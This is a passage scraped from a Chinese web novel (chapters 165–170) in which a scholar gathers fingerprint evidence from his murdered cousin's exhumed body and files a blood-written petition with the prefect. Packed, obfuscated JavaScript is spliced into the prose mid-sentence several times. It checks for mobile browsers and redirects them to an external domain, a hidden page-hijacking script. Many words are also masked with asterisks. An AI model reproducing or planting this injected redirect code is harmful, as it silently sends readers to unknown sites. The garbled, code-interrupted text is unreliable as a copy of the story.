打开棺盖，一股难闻的味道传来，小伙子们掩着口鼻纷纷退后，连杨云和周仲也微微皱眉，唯有王仵作面不改色，凑到棺材前开始检查**的尸身。 “死者尸身**，脖颈处残存皮肤能看到紫色淤青，当是死于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623013|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上吊。” “死者身上有多处伤痕，遍及面部，躯体，双臂...” 王仵作一边看，一边用心记录，每一个细处都没有放过。 周仲听得眼睛都红了，表妹生前遭受这么残忍的凌辱，那个校尉简直丧心病狂！ “咦，这是什么东西？” 王仵作在检查的时候，忽然发现棺木里有一个麻将大小，两三张纸那么厚的铁片，他拿起来看看，铁片的背面写着几个小字，丁二十七。 他想半天后没搞清楚这是什么东西，只能拿着铁片问周仲， “这是令妹的陪葬之物？” 王仵作干这行也有十几年，开棺验尸的事也经过，这么奇怪的陪葬他还是第一次见。 周仲接过来看看，茫然地摇摇头，表妹的丧事是姨父办的，他也不知道都陪葬些什么。 唯有杨云，看到这块铁片的时候，眼中闪过一丝怒色，对王仵作说： “只是个小玩意而已，可能是装棺的时候不小心掉进去的，您请继续吧。” 等王仵作转头继续验尸的时候，杨云在周仲身边轻声说：“把这个东西收好，日后说不定会有大用。” 周仲不知道杨云看出来什么，但还是听话地将铁片包起来，装在身上。 一刻钟后，王仵作验尸完毕，详细地给周仲和杨云说，尸体有什么伤痕，哪里是致命伤。 杨云的眼睛转转，看着棺材里的尸身问： “王仵作，你能通过这些伤痕，确定施暴的人是谁吗？” 王仵作不知道杨云想干什么，认真地想一会，摇摇头说： “不能，只能从痕迹上看出，应该是个男人。” 别说**的尸身已经高度**，就算是完好如初，也没有人能从她身上的伤痕，推断出施暴的人是谁。 杨云从怀里拿出炭末和锅底灰混合的细粉，小声对王仵作说： “王仵作，麻烦你把着包里的粉末，用毛笔刷在尸体的伤痕之上，说不定会有意外之喜。” 第165章 奇技 第一百六十五章奇技 王仵作将信将疑地接过杨云递来的粉末。 黑乎乎，轻飘飘，也不知道是些什么东西。 但王仵作本来是收钱帮忙，现下杨云开口，他自然要听话。 他从包里拿出一支干毛笔，把上面的**抖开，沾上粉末，小心地刷在尸体的淤青上。 等到粉末涂好，杨云让人在旁边用枯树枝生起一堆篝火，捡几块鹅卵石烧热。 紧接着，他让人用布把烧热的鹅卵石包起来，用纸垫在刚才刷过粉末的地方，把包好的鹅卵石放在纸上慢慢地熨烫。 周围的人都不知道杨云想做什么，连经验最为老道的王仵作都一脸疑惑。 这样烫有几十个呼吸后，杨云让王仵作把纸拿起来，看看上面有什么痕迹。 王仵作嘴里嘟囔着说，这能有什么痕迹，手上却老实地把纸揭起来。 让所有人震惊的是，原本雪白的纸上，竟出现几处黝黑的痕迹，看起来好像人手！ 看到这神乎其神的一幕，王仵作吓得话都说不连贯，惊疑地冲着杨云问道： “杨公子，这……这是怎么一回事？” 杨云没有说话，先把纸从王仵作手上拿过来，见上面的指印清晰可见，满意地点点头，对王仵作说： “麻烦王仵作，把尸体上所有淤青的地方，都用方才的方法炮制一遍。” 王仵作见杨云没有解释的意思，只能带着满肚子的疑惑，开始拓印尸体上的指印。 半个时辰后，王仵作拓印几十张。 杨云才叫停，让人把棺材封上，重新盖土。 几十张指印图，杨云和周仲一人一半带在身上，免得日后出什么意外，找不到证据。 心中带着疑惑的王仵作，从墓坑里爬上来，洗干净手后，凑到杨云身边厚着脸皮问道： “杨公子，刚才那是什么技法，竟能从**身上提取出手印。” 王仵作很清楚刚才杨云所用办法的价值，要是他能学会，定然能成为平源府第一仵作！ 见到王仵作这么好学，杨云看着**的墓碑，轻声解释说： “这个叫碳粉提取法，利用碳粉和人体上残留的油脂，汗液发生反应，提取指印。” “办法我刚才已经交给你，以后你再遇到类似的案子，可以用这种办法提取证据。” 杨云不知道这么一个办法，对破案有多大帮助，但能帮一个是一个。 王仵作大喜，连连道谢，心中暗想，等回去之后，一定要找几具尸体好好练习一下。 等小伙子们盖完土，几人一起回到县城，杨云和周仲拿着指印图回到家中。 周仲坐在桌边，看着那一张张形状各异，但纹路一样的指印图，脸色铁青地说： “真是令人发指！若是不能为表妹洗刷冤屈，我周仲誓不为人！” 从那一张张深浅不一的指印图，周仲能看出，表妹生前遭受非人**，自然愤怒非常。 杨云轻轻叹一口气，心有同感地拍拍周仲的肩膀，坐在他面前问：“现下拿到证据，接下来你准备怎么办？” 周仲沉默片刻，抬头看着杨云坚定地说； “师弟，多谢你出手相助，让我这么快拿到证据，但剩下的事我来即可，你不用管。” 本来杨云和这件事没有关系，是看在周仲的面子上，才会帮忙寻找证据。 证据找到，杨云也该抽身离开，不然会有更大的麻烦上身。 杨云立刻猜到他的心思，淡淡一笑说： “师兄，我知道你是不想连累我，但我说过，我只是在幕后出谋划策，你不用担心我。” 这桩案子十分凶险，稍有不慎周仲会出事，两人一起上告，至少能有个照应。 周仲听到杨云竟还要继续帮他，心中很是感动，略显哽咽地说：“师弟大恩，为兄铭刻在心！” 看着周仲微微闪动着泪光的双眼，杨云满不在乎地挥挥手，无所谓地说： “你我是师 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想要告状，状纸必不可少，杨云虽不喜欢做讼棍，但为周仲，还是写一份声情并茂，让人闻之落泪的状纸。 “师弟不愧是院试案首，果然文采出众，为兄看到这篇文章，恨不得将那校尉抓来**！” 周仲看过杨云写的状纸之后，只觉得心潮澎湃，想要马上把校尉绳之以法。 没想到杨云却摇头，冲着周仲低声说：“光是如此还不够，我们必须弄些耸人听闻的手段，这样才能引起知府的重视！” 这起案子涉及一个六品武官，知府说不定会息事宁人，威逼利诱让周仲不要再告下去。 唯有造出庞大声势，让全城人都知道这件事，知府被架起来，才能公平审理这个案子。 周仲也懂其中的道理，赞同地点点头问道： “不知道师弟有什么好办法，能让这个案子轰动全城？” 第166章 拦路告状 第一百六十六章拦路告状 周仲知道，杨云的主意很多。 让他来想，必然能想出一个极好的办法。 杨云早在想这件事，现下听到周仲询问，立刻把之前想到的办法说出来， “想要轰动全城，必须有一个让人惊疑的噱头，如此才能让坊间民众主动奔走相告。” 只有激起民众的好奇心和怒火，才能让这件案子有可能轰动全城。 周仲若有所思地摸着下巴，抬眼看着杨云问：“那要什么噱头才够？总不能敲锣打鼓去告状吧？” 若是敲锣打鼓去告状，热闹是热闹，但也在无形中冲淡案子本身的痛苦，让人觉得周仲只是随便告着玩，根本没把表妹的死放在心上。 杨云立刻摆摆手，否定周仲的提议，看着桌上跳动的烛火说： “想要噱头，又要让人知道你心中的悲痛愤怒，唯有刺血写状。” 听到刺血写状四个字，周仲的眼睛立刻亮一下，“**上告，多少年都不会遇到一次的事，全城百姓必然口口相传。” “泣血上告，更能让百姓明我之痛，解我之心。师弟，给我拿刀来，我马上写！” 两人之前说好，周仲是上告的人，杨云只是为他出谋划策，**自然要周仲写才行。 杨云在房间里找一会儿，终于找到一把剪刀，一尺白绢。 周仲毫不犹豫割破食指，在白绢之上以指为笔，以血为墨，将杨云写的状纸抄一遍。 写完之后，杨云为周仲包扎伤口，看着那份血红的状纸，低声说： “现下等着知府出巡，咱们可以粉墨登场了。” 两人在客栈足足等两天，才见到平源府知府出巡。 杨云和周仲立刻带着状纸，等在最热闹的府衙大街十字路口。 这里的人最多，各种小商小贩，进城的外地人，应有尽有。 周仲在这里告状，能把影响扩散到最大，消息也能以最快的速度传遍全城。 咣…… 一声响亮的锣声从远处传来，这是知府的净街锣，凡是听到的百姓，都得给知府让路。 锣声过后不久，有府衙的差役走来，把百姓赶到街道两边，为知府的轿子清出一条路。 大概过一盏茶时间，一队人马走过来。 最前面是两个人抬着一面大锣，紧跟其后的是肃静回避的牌子，再往后是知府的大轿。 周仲和杨云对视一眼。 杨云微微点头。 周仲看着轿子咬咬牙，心中一横，从人群中挤出去，穿过看守的衙役，扑通一声跪在知府仪仗之前，双手用力撑开写好的**，大声喊道： “知府大人，请为生员主持公道！” 四周的百姓见到有人敢拦政府的轿子，先是一惊，又听到是秀才告状，不由得心中好奇，纷纷往前挤，想要看清楚到底是怎么回事。 “**，那个秀才手上拿着的是**！” 原本在前面的百姓，有人看到周仲手上的状纸，忍不住惊呼。 “竟连**都写了，这秀才肯定冤枉得不得了。” 秀才在府城也算是颇有地位，能把一个秀才逼到这种地步，背后的案子定然不小。 “为告状，敢拦知府大人的轿子，这秀才恐怕是要挨板子了！” 有知道官场规矩的人，看着周仲幸灾乐祸，似已经看到他被打的样子。 街道两边的百姓议论纷纷，都在猜测秀才到底遇到什么事，竟做出这种冒犯之举。 青呢大轿中坐着的平源府知府苏青林正在看书，忽然感觉到轿子停了，眉头微皱，叫过随行的管家，带着几分不悦问：“为何停轿不前？” 作为平源府官衔最高的地方官，苏青林的轿子不管去哪，都是畅通无阻，这还是第一次半路停下，他心里自然很不高兴。 管家早已看明白前面的事，往轿边走几步，小声回道：“老爷，前面有人拦路告状，大轿走不了。” 听到有人告状，苏青林不满地哼一声，冷声吩咐管家， “让衙役把那人赶走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623015|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，竟拦本官的大轿告状，真是不懂规矩！” 按照官场规矩，民众告状应该去县衙。 知府是管理府中政务的，一般不会接百姓的状纸。 就算想要知府断案，也得知县上禀，知府才会择期审理。 像今天这样拦路告状的人，苏青林应该让人把他拉下去打板子，问清出身，把案子打回当地县衙去审。 但苏青林看其不懂规矩，也懒得跟他计较，赶走了事。 管家向周仲的方向看一眼，无奈地说： “老爷，拦路告状的人自称是个秀才，他手上那张状纸，好像是用血写的。” 苏青林立刻放下手里的书，脸色也变得异常严肃， “一个秀才持**上告，看来这是个**烦啊……” 秀才是最低级的功名，但这代表，他不可能不懂官场规矩。 懂规矩，却依旧选择越级上告，还用**这种极端办法，显然是有天大冤屈。 苏青林本来不想理会这件事，但想到街边有那么多百姓看着，要是让管家把这秀才赶走，对他的官声不利，只能捏捏眉心，无奈地叹一口气说： “吩咐仪仗让开，把告状之人带到我的轿前，我问问是什么情况。” 管家小跑着来到周仲面前，低声说苏青林的意思，将他带到青呢大轿之前。 坐在轿子里的苏青林隔着轿帘，话语中带着不满问道：“你是哪一科的秀才？难道不知道告状要去本地县衙？” 周仲早料到苏青林会这么问，不慌不忙地说： “学生周仲，蒙圣上洪恩，得中今科院试第十八名。” “学生知道告状要去县衙，只是学生要告的人身份非同小可，县衙审问不动，只能请知府大人为学生主持公道！” 听到周仲是今年中的秀才，苏青林的脸色缓和许多，淡淡地问道：“县衙审不动？你告的是什么人？” 周仲低着头，眼中闪过一丝怒火，大声地回道：“学生要告的人是，东平县卫军校尉傅延庆！” 第167章 全城轰动 第一百六十七章全城轰动 苏青林猜到这个案子不会小，却没想到会牵扯到一位六品官员，还是武将。 朝中文武官员泾渭分明，苏青林是平源府的知府，却只能管政务，管不了军务。 两边围观的百姓自然不懂这其中的区别，听到周仲要告的是官，立刻兴奋起来， “这秀才要告一个校尉，这真是秀才遇到兵！” 有的百姓早看不惯卫军的嚣张跋扈，感同身受地说： “肯定是那些丘八欺负这书生，不然人家怎么会来找知府告状？” 有的人觉得卫军平时虽跋扈，但多在营地里不出来，不应该欺负秀才，“这里面是不是有什么误会？” 听这些百姓议论，但没有一个能说出让人感兴趣的话，杨云眉头微皱，看来还得加把火。 他略微沉思，很快心中有主意，假装成知道内幕消息的样子，不屑地说： “哼，你们知道什么！这秀才告状，其实是为他表妹！” 表妹，校尉，秀才，周围的人不用杨云多说，立刻脑补出一场场狗血异常的大戏。 有好事的人凑到杨云身边，厚着脸皮问道：“这位小哥，你知道这秀才是怎么回事？能不能给咱讲讲？” 杨云不想把**被凌辱的事公之于众，只是含糊地说： “具体情况我也不太清楚，但秀才的表妹，是死在那个校尉手中的，校尉还把表妹父亲的双腿打断，秀才逼不得已，才来找知府告状。” 杀死姑娘，还把人家老爹双腿打断，卫军校尉的猖狂，已经超出四周人的想象范围！ 更有聪明人已经想到，校尉为什么会杀死姑娘？是不是他想霸占姑娘，姑娘不从？ 秀才为什么会来替表妹告状？会不会他们两个从小是青梅竹马，两情相悦？ 杨云见周围的民众开始脑补猜测，知道火候到了，悄悄藏在一边。 苏青林听到街道两旁的百姓议论纷纷，沉心静气思考片刻，吩咐管家说： “让秀才跟着回府，状纸上的事，回去之后再说。” 状告卫军校尉，这是一桩麻烦事，没有搞清楚情况之前，苏青林不可能贸然接下状纸。 万一引起朝中文武倾轧，不知道有多少官员要倒台。 周仲听到知府要把他带回府衙，还以为他同意接下此案，乖乖地跟着青呢大轿走。 周围旁观的百姓，见到轿子走了，脸上的兴奋之情却没有丝毫减少，纷纷跟身边的人，叙说着刚才听到的‘内幕消息’。 周仲上午拦轿告状，等到中午消息已经传遍平源府。 整个平源府都知道，有个秀才，为青梅竹马的表妹，写**状告欺男霸女的卫军校尉！ 午饭之后，不少闲人跑到府衙门口去看热闹，见到知府没有升堂，还询问值守的衙役，校尉案什么时候审理，生怕错过这场大戏。 杨云见这桩俺在平源府已经是尽人皆知，悄悄回到客栈，等着周仲的消息。 周仲被带回府衙后，没有去大堂，而是来到二堂之中坐下，管家还让下人给他上一杯茶。 这举动让周仲有点摸不着头脑，要说知府不审，但他把他带回来，要说知府接下这个案子，但他又对他不闻不问。 苏青林正在后堂，和师爷商量这件事该怎么办。 他一边让婢女给他更衣，一边轻声叹着气说： “这件案子要是不管，百姓必然会说我，甚至影响到我的吏部考评。” “要是管，那本官是插手地方军务，不光卫军的钱都统不满，恐怕朝中都会有意见。” 能把官做六品的人，在朝中都有自身的靠山和关系网，绝对不能轻动。 何况大盛朝文弱武强，这时把傅延庆绳之以法，那帮粗鄙武夫定然会闹翻天。 师爷站在房间门口，沉吟片刻说：“若东翁不想接这个案子，不接呗，百姓只是图个茶余饭后的谈资，过几天肯定忘了。” 百姓固然是股巨大力量，但他们的忘性也很大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629819|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 拖延一段时间，他们会被别的事吸引，不记得府城曾有过这么一桩案子。 苏青林皱一下眉头，再三权衡之后，摇摇头说： “这件事恐怕没有那么容易过去，尤其是**，多少年都不见一次的东西……” 杨云之前建议周仲写**的目的正在这里，有这份不常见的血状，就算过上个三五年，百姓也能想起这件案子，妄想拖过去，根本不可能。 师爷见苏青林否定他的意见，只能说出第二个办法， “既然拖不过去，东翁可以先把案子接下来，劝那个秀才放弃。” “只要他不再往上告，剩下的事，也迎刃而解。” 如果周仲不告，这件案子也不存在，苏青林还不用承担任何责任。 苏青林认真地思考半天，吩咐师爷说：“你先去试探一下他，如果真能大事化小，小事化了，自然最好。” 朝中武将势大，苏青林不能想因为这么一桩案子，弄得没有官做。 师爷轻轻应一声，转身来到府衙二堂，笑呵呵地拱手说： “秀才，老爷在后堂还有些公事处理，你可能得再等一会儿。” 没想到周仲面上丝毫不见焦急之色，反而十分体谅地说：“知府大人公事繁忙，学生等着即可。” 周仲看出师爷的话是搪塞之言，但他没有戳穿，他一直等在这里，不怕知府不出来！ 见到周仲一副屁股生根的样子，师爷心中觉得有些棘手，轻叹一声说： “秀才，你这官司不好打，弄不好要担讼棍的名声，毁掉日后的前途。你要想好啊！” 这些事，周仲早和杨云讨论过，面上毫无惧色，掷地有声地说： “学生只是想讨个公道而已，我相信知府大人定然能看出，我是不是讼棍！” 师爷没想到周仲软硬不吃，油盐不进，只能皱眉说： “秀才，你表妹已经没了，再闹下去无济于事，不如做些对活人有益的事。” 第168章 接下 第一百六十八章接下 周仲愣一下，明白过来，师爷是在暗示他，有什么条件，可以提。 只要能息事宁人，一些不太过分的条件，府衙不是不能答应。 直到这时，周仲才知道杨云造势的想法多么有用。 若不是拦轿告血状，可能知府会以无事生非，诬告命官把他轰走，甚至是抓起来关几天。 想到这里，周仲冷笑一声，用眼角余光看着师爷问： “师爷，这是你的意思，还是知府大人的意思？” 如果这真是知府的意思，周仲在这里打官司已经没有意义，不如告到州里。 师爷在官场混迹很多年，立刻听出周仲话音不对，干笑着说： “这是我的想法，跟知府都没有关系，秀才你想听就听，不想听当我说个笑话。” 见到师爷把所有的责任揽下，周仲淡淡地哼一声说： “既然如此，那我多谢师爷实言相告。但我做事认死理，没人能劝得回来。” 周仲这话是在告诉师爷，想要息事宁人不可能，他一定会告到底，绝不妥协。 师爷也听懂周仲的意思，借口有事回到后堂，把周仲的话原封不动地告诉苏青林。 听到周仲如此坚持，苏青林眼中闪过一丝赞许之色，淡淡地说： “初生牛犊不怕虎，小小秀才敢告六品武官，如此胆色不是一般人能有的。” “走，咱们一起去二堂，看看这个案子到底是怎么回事。” 刚才在师爷去试探周仲的时候，苏青林忽然觉得，这个案子说不定是个机会，如果他能利用的话，能再往上走一步。 苏青林带着师爷来到二堂，满面春风地冲着周仲微微点头说：“刚才被些许公务绊住，来迟了。” 以苏青林的身份和地位，能对周仲解释一句，已经是给天大的面子。 不然一个四品知府，让秀才等上几天也很正常，根本用不着解释。 见到知府进来，周仲也知道人家对他很客气，连忙起身行礼，恭恭敬敬地说：“学生见过知府大人。” 苏青林看到周仲长得端正，眉宇间又带着一股坚韧之色，心中很是欣赏，特意对他说： “不用如此拘礼，坐下慢慢说。” 按理来说，周仲一个秀才，在苏亲临这种四品大员面前，根本没有坐的资格。 但苏青林主动开口，是有爱护晚辈，呵护后进的意思。 周仲坐下即可。 没想到周仲根本没坐，扑通一声跪在苏青林面前，把之前写的**双手呈上，哽咽着说： “若知府大人真的爱护晚辈，还请为晚辈主持公道。” 见到周仲再次上告，苏青林淡淡地叹一口气，示意师爷把状纸拿过来给他看。 “简直是丧心病狂！这还是我大盛朝的官吗？这比北边的蛮夷还要粗鲁，野蛮！” 看过周仲的血状，苏青林狠狠地一拍桌子，怒不可遏地说。 他知道卫军校尉一定做什么见不得光的事，但没想到，校尉做得比他想得要恶劣百倍！ 周仲看到苏青林被血状所动，连忙趁热打铁说： “还请大人主持公道，还我表妹一个清白，让她能在九泉之下安息！” 苏青林刚才觉得这是个机会，看过状纸后，更觉得机不可失，上前将周仲扶起后说： “你放心，本府就算拼着这官不做，这次也一定会为你主持公道！” 说着，他转头看向旁边呆愣的师爷，沉声吩咐说： “师爷，你立刻去告知通判，同知，明日一早升堂问案！还有，把卫军的钱都统也请来！” 这个案子涉及六品武官，那统管平源府所有卫军的钱都统，自然也得在场。 周仲没想到苏青林这么雷厉风行，满心感激地谢过，转身离开府衙，准备明天上堂。 等到周仲离开，师爷小心地上前半步，忧心忡忡地说： “东翁，难道你真要审这个案子？傅延庆虽只是一个校尉，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629820|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁也不知道他背后有什么人，万一通着京城，那咱们要吃大亏了。” 别看苏青林在平源府说一不二，但在京城，他根本算不了什么。 没想到苏青林脸上没有丝毫惧色，反而意味深长地笑着说：“我怕的是京城的人不动。他背后的人动得越多，动得越快，我心里越高兴！” 师爷不知道苏青林想要干什么，但也不好再问，带着一肚子疑惑去办事。 周仲回到客栈。 却见杨云正和魏承业，林和光坐在一起吃饭，闲聊。 当初杨云介绍两人给周仲认识，四人又上榜，私交还算不错。 但这次的事太过危险，周仲即便知道魏承业和林和光在府城，也没跟他们说。 见到周仲回来，三人纷纷起身打招呼，还让掌柜添一副碗筷，又加两个菜。 看着魏承业林和光熟络的样子，周仲不解地问：“魏兄和林兄怎么会在这里？” 说着，周仲看向杨云，难道是杨云找到他们，准备把声势造得更大一点？ 没想到魏承业看到周仲的表情，猜到他的心思，主动解释说：“今天周兄刺血写状，拦轿告状的事，已经传遍整个府城。” “林兄听到这个消息，又听说你的名字，和我一起寻过来，看看有没有什么能帮忙的地方。” 虽然几人相识的时间不长，却对彼此的脾性摸得一清二楚。 周仲绝不是无事生非的人，既然他遇到难处，魏承业和林和光自然不能袖手旁观。 听得到魏承业和林和光是主动前来帮忙的，周仲心中很是激动，躬身行礼谢过两人， “多谢二位，但这个案子知府大人已经接下，还要会同通判大人，同知大人，及卫军的都统大人一起审理，明天就会升堂问案！” 魏承业和林和光听到知府愿意接受此案，纷纷恭喜周仲，知府出面，审清此案应该不难。 唯有杨云眉头轻轻皱起，苏知府答应得太快，也不知道其中是不是有什么蹊跷。 第169章 升堂审理 第一百六十九章升堂审理 **的案子其实一点都不难，在东平县都能审清楚，更别说平源府。 这个案子最难的地方在于，犯案之人乃一个六品武官。 俗话说官官相护，没有哪个官会为一个百姓，得罪另外一个官。 就算苏知府十分清廉刚正，也不该答应得这么快，除非另有其他原因，让他下定决心。 只是杨云没有任何官场上消息，只能胡乱猜测，不知道到底发生什么变故。 “师弟，你在想什么呢？我敬你一杯！” 等杨云回过神来，却见周仲满脸喜色地冲他笑着，手中还端着一杯酒。 杨云脸上挤出意思笑容，假装不在意地说： “我实在是太高兴，不小心走神，来，我们一起喝一个。” 心中的疑问，杨云决定暂时不告诉周仲，等明天过堂之后再说也来得及。 四人喝到华灯初上，约定明天一早在府衙公堂见，才各自散去。 第二天，杨云和周仲早早来到府衙，等着知府大人升堂。 两人到没多久，魏承业和林和光也来了，还各自带不少朋友，为周仲壮声势。 府城的百姓大清早起来，看到府衙门口围着这么多人，忍不住打听出什么事。 听说是轰动全城的血状案今日开审，立刻呼朋唤友，准备去衙门看热闹。 府衙外面热闹，里面也不安静，孙通判和郑同知早已来了。 两人看完血状，皱眉说： “大人，这个案子的情况下官也听说一点，您接下血状，等于接个烫手山芋啊。” 事涉六品武官，还是人命案子，稍有不慎，三人的前途要搭进去。 郑同知长着一双三角眼，看起来很是难缠，他用眼角余光斜着苏青林说： “大人，您接下这个案子也算了，怎么还把我和孙大人牵扯进来。” 如果是苏知府一个人审，不管结果是什么，他一个人承担责任即可。 现下孙通判和郑同知也被拉来一起审问，等于将来有什么事，三个人都有责任。 看着两个下属推三阻四的样子，苏青林眉头一皱，义正词严地说： “这件案子牵扯不小，不是咱们三个一起审，如何服众？” 郑同知不屑地哼一声，他才不信什么服众，苏知府分明是昨天被架在火上烤，想拉他们下水，分散火力。 若不是官大一级压**，郑同知早已起身，甩手走人。 孙通判本来是负责断案，刑狱，想跑也跑不了，他沉思片刻后说： “服众不难，只是我们真要拿下一个六品武官吗？卫军那边会同意吗？” 军营自古以来是个护短的地方，上下皆以兄弟相称，想要拿人，怕是没有那么容易。 苏清廉早想到这一点，慢慢悠悠地喝一口茶说： “卫军的事，地方他们自然不能插手，我让人把卫军的钱都统也请来了。” “只要审明案情，抓人的事想必用不着我们动手。” 这么丢人的事，一旦坐实，第一个饶不了傅延庆的人是钱都统。 郑同知眼中闪过一丝冷意，觉得苏知府想得太简单。 卫军与衙门向来不对付，钱都统又是个好面子的人，到时候说不定会护短。 在三人商量的时候，门前的纱帘一挑，走进来一个身材雄壮，络腮胡子的大汉。 苏青林和孙通判郑同知三人起身，冲着来人行礼作揖，“钱都统你来了。” 钱都统大大咧咧地抱拳拱手，嘴巴歪着，带着几分痞气问： “苏大人，我听说怎么回事？有人诬告我手下的校尉**？” 屋中的三人一凛，钱都统进来说诬告，显然是准备护短。 苏青林眼睛微微眯起，假装没有听出钱都统的弦外之音，不紧不慢地说： “是有人告卫军校尉**害命，但是真是假，还得咱们审过之后才知道。” 言外之意是在提醒钱都统，护短也行，但要看看有没有证据，万一有证据，那打脸了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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巳时三刻，班房里的衙役突然提着水火棍走出来，在大堂上站好。 经常看热闹的人立刻嘘一声，“别乱，要升堂了！” 第170章 上堂回话 第一百七十章上堂回话 府衙内外，迅速安静下来。 一身绯红官袍的苏青林从后堂走出，眼神锐利，气度威严。 跟苏青林一起出来的钱都统雄壮霸道，一看知道是常年带兵的狠人。 接着出来的孙通判和郑同知尽管是昂首阔步，神态却比苏青林和钱都统差得太远。 苏青林走到大案后的主位上坐下，大案外面摆一张椅子，钱都统毫不客气地坐上去。 孙通判和郑同知则在两班衙役的排头，摆两把椅子，一左一右各自坐下。 府衙外面围观的百姓，见到一口气出来四位大人，兴奋地说： “今天的案子果然不同凡响，咱们平源府有头有脸的大人物都到了！” 有人不认识钱都统，小声地跟旁边的人打听， “兄弟，知府大人旁边坐的那个大胡子是什么人，竟敢跟知府大人平起平坐。” 今天来府衙的人，都是爱凑热闹，听到文化，立刻卖弄似的介绍起来， “你连钱都统都不知道？那是咱们平源府卫军的头，手下有一万多兵马！” 先前问话的人，恍然大悟地点头。 如果是这样，钱都统确实有资格和苏知府平起平坐。 杨云也猜到钱都统的身份，目中闪过一丝忧虑，低声嘱咐周仲说： “师兄，你一会上堂，千万不要把所有证据都拿出来，指印图随便拿一张即可。” 钱都统是卫军老大，傅延庆是他的直属手下，在他的态度未明之前，最好小心一点。 周仲虽然不觉得钱都统敢当这么多人销毁证据，但还是点头。 苏青林在明镜高悬的大匾下坐好，手中的惊堂木轻轻一拍，响亮声音传遍整个公堂内外， “升堂！” 两边的衙役用手中的水火棍点着旋转地面，口中发出低沉而悠长的声音， “威---武---” 堂威喊过，苏知府再次拍一下惊堂木，十分威严地说：“传原告周仲上堂！” 周仲听到苏青林叫他的名字，整理一下衣冠，在朋友们的鼓励声中迈步走进大堂。 他冲着堂上的四位官员一一行礼，站在原地，平静地开口，“生员周仲，见过各位大人。” 一般百姓见官要跪，周仲有功名在身，按照大盛律法可以免跪。 苏青林早知道他有功名，对他没跪，丝毫不觉得意外，只是按照流程问道： “生员周仲，你昨日向本府递状纸，本府接了，今日会同卫军的钱都统及孙通判，郑同知齐审此案。你有什么冤屈直说，我们四人定然会秉公处置！” 不管其他三人怎么想，苏青林先把立场站好，这样就算到皇上面前，他也有理。 周仲眼中带泪，用颤抖的声音对府衙内外的人说： “回禀大人，生员有一表妹，名叫**，双十年华，平日以缝补浆洗为业……” 公堂之上不是隐瞒案情的地方，周仲带着**把表妹被人凌辱至死的事，说一遍。 守在府衙外面的百姓，听到傅延庆竟这么蹂躏一个弱女子，忍不住义愤填膺， “这样的王八蛋，应该抓起来**！砍十遍二十遍才好！” 其他的百姓心中也很同情**，随声附和着说： “我估计**都不是第一个遭他毒手的姑娘，说不定之前还有别人受害！” 魏承业与林和光等人，都是刚中秀才，心气正高的时候，愤愤不平地说： “堂堂朝廷六品武官，竟对一个羸弱女子下此毒手，真是让人齿冷！” 跟林和光一起来的一个秀才，十分赞同地点点头， “此等人连一个女子都不放过，我们如何能相信，他们会保家卫国？” 一个只敢欺负女人的武官，大概率欺软怕硬，真到上战场那天，他说不定会被吓死。 府衙外面围观的百姓很多，议论声传到公堂上的四位大人耳中。 苏青林，孙通判，郑同知三人的表情还好，毕竟他们都是文官，没有被骂。 身为卫军头领的钱都统脸色很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15634357|169871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难看，百姓骂的是武官，还是他手下的武官！ 